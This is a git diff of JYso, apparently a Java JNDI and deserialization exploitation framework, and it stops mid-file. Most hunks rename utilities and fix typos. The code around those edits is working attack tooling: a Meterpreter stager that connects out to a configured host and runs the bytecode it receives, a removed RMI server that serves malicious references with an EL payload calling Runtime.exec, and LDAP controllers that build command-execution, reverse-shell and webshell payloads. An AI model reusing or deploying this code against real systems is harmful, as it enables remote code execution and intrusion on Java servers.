diff --git a/src/main/java/Meterpreter.java b/src/main/java/Meterpreter.java index 885faee..d2e3aca 100644 --- a/src/main/java/Meterpreter.java +++ b/src/main/java/Meterpreter.java @@ -11,9 +11,9 @@ import java.util.HashMap; public class Meterpreter extends ClassLoader implements Runnable { - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; + static /* synthetic */ Class class$0; + static /* synthetic */ Class class$1; + static /* synthetic */ Class class$2; static { @@ -22,8 +22,8 @@ public class Meterpreter meterpreter.run(); } - public String host; - public String port; + public String host; + public String port; private HashMap parameterMap; public static void main(String[] args) { @@ -60,11 +60,11 @@ public class Meterpreter } public void getShell() throws Exception { - InputStream inputStream1 = null; + InputStream inputStream1 = null; OutputStream outputStream = null; - int j = new Integer(this.port); - String str4 = this.host; - Socket socket = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; if (str4 != null) { socket = new Socket(str4, j); } @@ -75,18 +75,18 @@ public class Meterpreter private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { try { - Class clazz; + Class clazz; DataInputStream dataInputStream = new DataInputStream(paramInputStream); - int i = dataInputStream.readInt(); + int i = dataInputStream.readInt(); do { byte[] arrayOfByte = new byte[i]; dataInputStream.readFully(arrayOfByte); clazz = this.defineClass(null, arrayOfByte, 0, i); this.resolveClass(clazz); } while ((i = dataInputStream.readInt()) > 0); - Object object = clazz.newInstance(); - Class[] classArray = new Class[3]; - Class clazz2 = class$0; + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; if (clazz2 == null) { try { clazz2 = class$0 = Class.forName("java.io.DataInputStream"); diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index 8acb491..973b7e2 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -3,7 +3,7 @@ package com.qi4l.JYso; import cn.hutool.core.io.file.FileReader; import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.template.CommandTemplate; import com.qi4l.JYso.template.DnslogTemplate; import com.qi4l.JYso.template.ReverseShellTemplate; @@ -20,7 +20,6 @@ import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; -import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; @@ -87,11 +86,11 @@ public class HTTPServer { private static void handleFileRequest(HttpExchange exchange) throws Exception { System.out.println("[-] 请求的后缀不对"); - String path = exchange.getRequestURI().getPath(); + String path = exchange.getRequestURI().getPath(); String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); - File file = new File(filename); + File file = new File(filename); if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; + byte[] bytes = new byte[(int) file.length()]; FileInputStream fileInputStream = new FileInputStream(file); fileInputStream.read(bytes); exchange.sendResponseHeaders(200, file.length() + 1); @@ -122,8 +121,8 @@ public class HTTPServer { exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); // exchange.getResponseBody().write(yaml.getObject("UTF-8")); } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + YamlName + ".yml"); + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + YamlName + ".yml"); if (file.exists()) { byte[] bytes1 = new byte[(int) file.length()]; try (FileInputStream fileInputStream = new FileInputStream(file)) { @@ -142,7 +141,7 @@ public class HTTPServer { } public static void handleTXTRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); + String path = exchange.getRequestURI().getPath(); String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (txtname.equalsIgnoreCase("isok")) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); @@ -151,8 +150,8 @@ public class HTTPServer { exchange.sendResponseHeaders(200, bytes.length + 1); exchange.getResponseBody().write(bytes); } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + txtname + ".txt"); + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + txtname + ".txt"); if (file.exists()) { @@ -175,7 +174,7 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); // String host = exchange.getRequestURI().getHost(); String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); - String bytes = "\n \n"; + String bytes = "\n \n"; String xstream = "\n" + " \n" + " 0\n" + @@ -284,8 +283,8 @@ public class HTTPServer { exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + xmlName + ".xml"); + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + xmlName + ".xml"); if (file.exists()) { byte[] bytes1 = new byte[(int) file.length()]; @@ -307,8 +306,8 @@ public class HTTPServer { } public static void handleSQLRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String host = exchange.getRequestURI().getHost(); + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (sqlName.equalsIgnoreCase("echo")) { @@ -332,8 +331,8 @@ public class HTTPServer { } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + sqlName + ".sql"); + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + sqlName + ".sql"); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; @@ -352,9 +351,9 @@ public class HTTPServer { } public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); - String host = exchange.getRequestURI().getHost(); - String exp = "/TomcatBypass/TomcatEcho"; + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String exp = "/TomcatBypass/TomcatEcho"; String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (groovyName.equalsIgnoreCase("groovyecho")) { @@ -372,8 +371,8 @@ public class HTTPServer { exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); } else { - String pa = cwd + File.separator + "data"; - File file = new File(pa + File.separator + groovyName + ".groovy"); + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + groovyName + ".groovy"); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; @@ -395,8 +394,8 @@ public class HTTPServer { public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); - Object request = FieldUtils.readField(exchangeImpl, "req", true); - String startLine = (String) FieldUtils.readField(request, "startLine", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); exchange.sendResponseHeaders(200, 0); @@ -404,12 +403,12 @@ public class HTTPServer { } private static void handleJarRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); + String path = exchange.getRequestURI().getPath(); String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); if (jarName.equalsIgnoreCase("behinder3")) { - byte[] bytes; - String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; + byte[] bytes; + String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; FileReader fileReader = new FileReader(filename, "UTF-8"); bytes = fileReader.readBytes(); exchange.sendResponseHeaders(200, bytes.length + 1); @@ -417,9 +416,9 @@ public class HTTPServer { } else { String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; - File file = new File(filename); + File file = new File(filename); if (file.exists()) { - byte[] bytes; + byte[] bytes; FileReader fileReader = new FileReader(filename, "UTF-8"); bytes = fileReader.readBytes(); exchange.sendResponseHeaders(200, bytes.length + 1); @@ -436,7 +435,7 @@ public class HTTPServer { } private static void handleClassRequest(HttpExchange exchange) throws IOException { - String path = exchange.getRequestURI().getPath(); + String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); if (Cache.contains(className)) { @@ -446,8 +445,8 @@ public class HTTPServer { exchange.sendResponseHeaders(200, bytes.length); exchange.getResponseBody().write(bytes); } else { - String pa = cwd + path; - File file = new File(pa); + String pa = cwd + path; + File file = new File(pa); if (file.exists()) { byte[] bytes = new byte[(int) file.length()]; @@ -469,7 +468,7 @@ public class HTTPServer { } private static void handleWSDLRequest(HttpExchange exchange) throws Exception { - String query = exchange.getRequestURI().getQuery(); + String query = exchange.getRequestURI().getQuery(); Map params = parseQuery(query); String path = exchange.getRequestURI().getPath().substring(1); @@ -591,15 +590,15 @@ public class HTTPServer { } System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); - ByteArrayOutputStream bout = new ByteArrayOutputStream(); - JarOutputStream jarOut = new JarOutputStream(bout); + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); jarOut.putNextEntry(new ZipEntry(className + ".class")); jarOut.write(bytes); jarOut.closeEntry(); jarOut.close(); bout.close(); - String jarName = Util.getRandomString(); + String jarName = Utils.getRandomString(); Cache.set(jarName, bout.toByteArray()); return jarName; diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java index d937b61..d7a42b2 100644 --- a/src/main/java/com/qi4l/JYso/LdapServer.java +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -2,7 +2,7 @@ package com.qi4l.JYso; import com.qi4l.JYso.controllers.LdapController; import com.qi4l.JYso.controllers.LdapMapping; -import com.qi4l.JYso.controllers.utils.AESUtils; +import com.qi4l.JYso.controllers.utils.JNDIUtils; import com.qi4l.JYso.gadgets.Config.Config; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; @@ -36,9 +36,9 @@ public class LdapServer extends InMemoryOperationInterceptor { //instantiate them and store in the routes map for (Class controller : controllers) { - Constructor cons = controller.getConstructor(); + Constructor cons = controller.getConstructor(); LdapController instance = (LdapController) cons.newInstance(); - String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); for (String mapping : mappings) { if (mapping.startsWith("/")) { mapping = mapping.substring(1); //remove first forward slash @@ -86,7 +86,7 @@ public class LdapServer extends InMemoryOperationInterceptor { try { if (!AESkey.equals("123")) { base = base64Decode(base); - base = AESUtils.decrypt(base, AESkey); + base = JNDIUtils.decrypt(base, AESkey); } } catch (Exception AESerr) { diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java deleted file mode 100644 index fc71f7a..0000000 --- a/src/main/java/com/qi4l/JYso/RMIServer.java +++ /dev/null @@ -1,323 +0,0 @@ -package com.qi4l.JYso; - - -import com.qi4l.JYso.controllers.rmi.Basic; -import com.qi4l.JYso.controllers.rmi.ELProcessor; -import com.qi4l.JYso.gadgets.utils.Reflections; -import com.sun.jndi.rmi.registry.ReferenceWrapper; -import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; -import org.apache.naming.ResourceRef; -import org.fusesource.jansi.Ansi; -import sun.rmi.server.UnicastServerRef; -import sun.rmi.transport.TransportConstants; - -import javax.naming.Reference; -import javax.naming.StringRefAddr; -import javax.net.ServerSocketFactory; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.rmi.MarshalException; -import java.rmi.server.ObjID; -import java.rmi.server.RemoteObject; -import java.rmi.server.UID; -import java.util.Arrays; - -import static com.qi4l.JYso.gadgets.Config.Config.*; -import static org.fusesource.jansi.Ansi.ansi; - - -/** - * Generic JRMP listener - *

- * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. - *

- * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. - * - * @author mbechler - */ -@SuppressWarnings({ - "restriction" -}) -public class RMIServer extends InMemoryOperationInterceptor implements Runnable { - - private final ServerSocket ss; - private final Object waitLock = new Object(); - private final URL classpathUrl; - private boolean exit; - - - public RMIServer(int port, URL classpathUrl) throws IOException { - this.classpathUrl = classpathUrl; - this.ss = ServerSocketFactory.getDefault().createServerSocket(port); - } - - public static void start() { - String url = "http://" + ip + ":" + rmiPort; - - try { - System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >> " + rmiPort + "...")); - RMIServer c = new RMIServer(rmiPort, new URL(url)); - c.run(); - } catch (Exception e) { - System.err.println("Listener error"); - e.printStackTrace(System.err); - } - } - - public static ResourceRef execByEL() { - - ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); - ref.add(new StringRefAddr("forceString", "x=eval")); - ref.add(new StringRefAddr("x", String.format( - "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" + - "\"java.lang.Runtime.getRuntime().exec('%s')\"" + - ")", - command - ))); - - return ref; - } - - private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { - ois.readInt(); // method - ois.readLong(); // hash - System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); - } - - public void close() { - this.exit = true; - try { - this.ss.close(); - } catch (IOException ignored) { - } - synchronized (this.waitLock) { - this.waitLock.notify(); - } - } - - @Override - public void run() { - try { - Socket s = null; - try { - while (!this.exit && (s = this.ss.accept()) != null) { - try { - s.setSoTimeout(5000); - InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); - //System.err.println("[+] Have connection from " + remote); - - InputStream is = s.getInputStream(); - InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); - - // Read magic (or HTTP wrapper) - bufIn.mark(4); - try (DataInputStream in = new DataInputStream(bufIn)) { - int magic = in.readInt(); - - short version = in.readShort(); - if (magic != TransportConstants.Magic || version != TransportConstants.Version) { - s.close(); - continue; - } - - OutputStream sockOut = s.getOutputStream(); - BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); - try (DataOutputStream out = new DataOutputStream(bufOut)) { - - byte protocol = in.readByte(); - switch (protocol) { - case TransportConstants.StreamProtocol: - out.writeByte(TransportConstants.ProtocolAck); - if (remote.getHostName() != null) { - out.writeUTF(remote.getHostName()); - } else { - out.writeUTF(remote.getAddress().toString()); - } - out.writeInt(remote.getPort()); - out.flush(); - in.readUTF(); - in.readInt(); - case TransportConstants.SingleOpProtocol: - doMessage(s, in, out); - break; - default: - case TransportConstants.MultiplexProtocol: - System.err.println("Unsupported protocol"); - s.close(); - continue; - } - - bufOut.flush(); - out.flush(); - } - } - } catch (InterruptedException e) { - return; - } catch (Exception e) { - e.printStackTrace(System.err); - } finally { - System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset()); - s.close(); - } - - } - - } finally { - if (s != null) { - s.close(); - } - if (this.ss != null) { - this.ss.close(); - } - } - - } catch (SocketException ignored) { - } catch (Exception e) { - e.printStackTrace(System.err); - } - } - - private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { - //System.err.println("[+] RMI服务器 >> 正在读取信息"); - - int op = in.read(); - - switch (op) { - case TransportConstants.Call: - // service incoming RMI call - doCall(in, out); - break; - - case TransportConstants.Ping: - // send ack for ping - out.writeByte(TransportConstants.PingAck); - break; - - case TransportConstants.DGCAck: - UID.read(in); - break; - - default: - throw new IOException(" RMI 服务器 >> 无法识别:" + op); - } - - s.close(); - } - - private void doCall(DataInputStream in, DataOutputStream out) throws Exception { - ObjectInputStream ois = new ObjectInputStream(in) { - - @Override - protected Class resolveClass(ObjectStreamClass desc) throws IOException { - if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { - return ObjID[].class; - } else if ("java.rmi.server.ObjID".equals(desc.getName())) { - return ObjID.class; - } else if ("java.rmi.server.UID".equals(desc.getName())) { - return UID.class; - } else if ("java.lang.String".equals(desc.getName())) { - return String.class; - } - throw new IOException(" RMI 服务器 >> 无法读取 Object"); - } - }; - - ObjID read; - try { - read = ObjID.read(ois); - } catch (IOException e) { - throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e); - } - - if (read.hashCode() == 2) { - // DGC - handleDGC(ois); - } else if (read.hashCode() == 0) { - if (handleRMI(ois, out)) { - synchronized (this.waitLock) { - this.waitLock.notifyAll(); - } - } - } - - } - - private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception { - int method = ois.readInt(); // method - ois.readLong(); // hash - - if (method != 2) { // lookup - return false; - } - - String object = (String) ois.readObject(); - //System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method)); - out.writeByte(TransportConstants.Return); // transport op - try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) { - - oos.writeByte(TransportConstants.NormalReturn); - new UID().write(oos); - - //反射调用的类名 - ReferenceWrapper rw = null; - - if (object.startsWith("ELProcessor")) { - ResourceRef result = ELProcessor.refTomcatBypass(object); - rw = new ReferenceWrapper(result); - } else if (object.startsWith("basic")) { - rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); - Reference result = Basic.basic(object); - Reflections.setFieldValue(rw, "wrappee", result); - } - - Field refF = RemoteObject.class.getDeclaredField("ref"); - refF.setAccessible(true); - refF.set(rw, new UnicastServerRef(12345)); - - oos.writeObject(rw); - - oos.flush(); - out.flush(); - } - return true; - } - - static final class MarshalOutputStream extends ObjectOutputStream { - - private final URL sendUrl; - - - public MarshalOutputStream(OutputStream out, URL u) throws IOException { - super(out); - this.sendUrl = u; - } - - - @Override - protected void annotateClass(Class cl) throws IOException { - if (this.sendUrl != null) { - writeObject(this.sendUrl.toString()); - } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { - writeObject(null); - } else { - URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); - StringBuilder cb = new StringBuilder(); - - for (URL u : us) { - cb.append(u.toString()); - } - writeObject(cb.toString()); - } - } - - - /** - * Serializes a location from which to load the specified class. - */ - @Override - protected void annotateProxyClass(Class cl) throws IOException { - annotateClass(cl); - } - } -} diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index 7b98937..3acf0a2 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -10,15 +10,15 @@ import static com.qi4l.JYso.gadgets.Config.Config.logo; public class Starter { // 用于存储所有的ObjectPayload类 - public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); + public static CaseInsensitiveMap>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap<>(); + public static boolean JYsoMode = false; + static { - for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) { + for (Class> clazz : ObjectPayload.Utils.getPayloadClasses()) { caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); } } - public static boolean JYsoMode = false; - public static void main(String[] args) throws Exception { // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 if (args.length > 0 && args[0].equals("-j")) { @@ -28,12 +28,10 @@ public class Starter { HTTPServer.start(); if (Config.TLSProxy) { TLSProxy.start(); - } else { - //RMIServer.start(); } } - // 如果参数中包含-y,则启动 ysuserial + // 如果参数中包含-y,则启动 ysu serial if (args.length > 0 && args[0].equals("-y")) { JYsoMode = true; ysoserial(args); diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java index a119632..711c129 100644 --- a/src/main/java/com/qi4l/JYso/TLSProxy.java +++ b/src/main/java/com/qi4l/JYso/TLSProxy.java @@ -31,7 +31,7 @@ public class TLSProxy { public static void start() { System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "...")); - new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile,Config.keyPass).run(); + new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyPass).run(); } public void run() { @@ -61,9 +61,9 @@ public class TLSProxy { private SSLServerSocketFactory createSSLServerSocketFactory() { try { - SSLContext sslContext = SSLContext.getInstance("TLS"); + SSLContext sslContext = SSLContext.getInstance("TLS"); KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); - KeyStore keyStore = KeyStore.getInstance("JKS"); + KeyStore keyStore = KeyStore.getInstance("JKS"); try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) { keyStore.load(keyInput, keyPass.toCharArray()); @@ -80,7 +80,7 @@ public class TLSProxy { private void handleConnection(SSLSocket clientSocket) { String[] remoteAddressParts = remoteAddr.split(":"); - Socket remoteSocket = null; + Socket remoteSocket = null; try { // 修复:使用 remoteAddr 而不是 localAddr @@ -138,7 +138,7 @@ public class TLSProxy { private void forwardData(InputStream input, OutputStream output) throws IOException { byte[] buffer = new byte[8192]; - int bytesRead; + int bytesRead; try { while ((bytesRead = input.read(buffer)) != -1) { diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index 75b75ac..beb4d5d 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.InjShell; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.qi4l.JYso.template.CommandTemplate; import com.qi4l.JYso.template.echoStatic.Meterpreter; @@ -14,6 +14,8 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import java.net.URL; import java.nio.charset.StandardCharsets; @@ -25,6 +27,7 @@ import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/basic"}) public class BasicController implements LdapController { + private static final Logger log = LoggerFactory.getLogger(BasicController.class); private static String payloadType; // 用于对外提供动态字节码的 HTTP 服务器基础路径。 private final String codebase = Config.codeBase; @@ -32,6 +35,24 @@ public class BasicController implements LdapController { private String[] params = new String[0]; private GadgetType gadgetType; + static String getStringQ(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int nextSlash = base.indexOf('/', cursor); + if (nextSlash == -1) nextSlash = base.length(); + + if (nextSlash > cursor) { + if (found == index) { + return base.substring(cursor, nextSlash); + } + found++; + } + cursor = nextSlash + 1; + } + return ""; + } + // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { @@ -49,21 +70,21 @@ public class BasicController implements LdapController { result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); - er.printStackTrace(); + log.error(String.valueOf(er)); } } // 解析请求路径,确定 payload 类型并准备执行时所需的参数。 @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI Remote Refenrence Links "); + System.out.println("- JNDI Remote Reference Links "); try { String normalized = base.replace('\\', '/'); payloadType = segment(normalized, 1); if (payloadType.isEmpty()) { throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); } - System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); gadgetType = parseGadgetType(normalized); params = resolveParams(normalized); @@ -123,20 +144,20 @@ public class BasicController implements LdapController { switch (gadgetType) { case base64: - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); return new String[]{cmd}; case shell: - String encoded = Util.getCmdFromBase(base); + String encoded = Utils.getCmdFromBase(base); String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); return decoded.split(" "); case msf: - String[] results = Util.getIPAndPortFromBase(base); + String[] results = Utils.getIPAndPortFromBase(base); Config.rhost = results[0]; Config.rport = results[1]; - System.out.println(" RemotHost: " + results[0]); - System.out.println(" RemotPort: " + results[1]); + System.out.println(" RemoteHost: " + results[0]); + System.out.println(" RemotePort: " + results[1]); return results; default: return new String[0]; @@ -145,21 +166,7 @@ public class BasicController implements LdapController { // 提取路径中第 index 个非空段,保持与原解析逻辑一致。 private String segment(String base, int index) { - int cursor = 0; - int found = 0; - while (cursor < base.length()) { - int nextSlash = base.indexOf('/', cursor); - if (nextSlash == -1) nextSlash = base.length(); - - if (nextSlash > cursor) { - if (found == index) { - return base.substring(cursor, nextSlash); - } - found++; - } - cursor = nextSlash + 1; - } - return ""; + return getStringQ(base, index); } // 返回连字符后的子串,用于解析自定义类名。 diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java index 18c015e..cd17726 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -6,7 +6,7 @@ import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException; import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.InjShell; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; @@ -14,13 +14,14 @@ import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.naming.ResourceRef; import org.fusesource.jansi.Ansi; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import javax.naming.StringRefAddr; -import java.io.IOException; import java.lang.reflect.Field; import java.util.Locale; -import static org.fusesource.jansi.Ansi.ansi; +import static com.qi4l.JYso.controllers.BasicController.getStringQ; @LdapMapping(uri = {"/elprocessor"}) @@ -28,6 +29,7 @@ public class ELProcessorController implements LdapController { private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"%s\")}"; + private static final Logger log = LoggerFactory.getLogger(ELProcessorController.class); private String payloadType; // 记录解析请求时提取出的命令参数或回连信息。 @@ -53,26 +55,26 @@ public class ELProcessorController implements LdapController { ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", buildPayloadScript())); - entry.addAttribute("javaSerializedData", Util.serialize(ref)); + entry.addAttribute("javaSerializedData", Utils.serialize(ref)); result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); - er.printStackTrace(); + log.error(String.valueOf(er)); } } // 解析请求路径,确定 payload 类型及其所需参数。 @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { - System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor"); + System.out.println("- JNDI LDAP Local Reference Links + ELProcessor"); try { String normalized = base.replace('\\', '/'); payloadType = segment(normalized, 1); if (payloadType.isEmpty()) { throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); } - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset()); gadgetType = parseGadgetType(normalized); params = resolveParams(normalized); @@ -97,7 +99,7 @@ public class ELProcessorController implements LdapController { } else if (payloadType.contains("command")) { scriptBody = helper.getExecCode(params[0]); } else if (payloadType.contains("msf")) { - scriptBody = helper.injectMeterpreter(); + scriptBody = helper.injectInterpreter(); } else { throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); } @@ -123,20 +125,20 @@ public class ELProcessorController implements LdapController { switch (gadgetType) { case base64: - String cmd = Util.getCmdFromBase(base); + String cmd = Utils.getCmdFromBase(base); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); return new String[]{cmd}; case shell: - String encoded = Util.getCmdFromBase(base); - String decoded = new String(Util.base64Decode(encoded)); + String encoded = Utils.getCmdFromBase(base); + String decoded = Utils.base64Decode(encoded); System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset()); return decoded.split(" "); case msf: - String[] results = Util.getIPAndPortFromBase(base); + String[] results = Utils.getIPAndPortFromBase(base); Config.rhost = results[0]; Config.rport = results[1]; - System.out.println("[+] RemotHost: " + results[0]); - System.out.println("[+] RemotPort: " + results[1]); + System.out.println("[+] RemoteHost: " + results[0]); + System.out.println("[+] RemotePort: " + results[1]); return results; default: return new String[0]; @@ -145,21 +147,7 @@ public class ELProcessorController implements LdapController { // 提取路径中的第 index 个非空段,保持与原有解析方式一致。 private String segment(String base, int index) { - int cursor = 0; - int found = 0; - while (cursor < 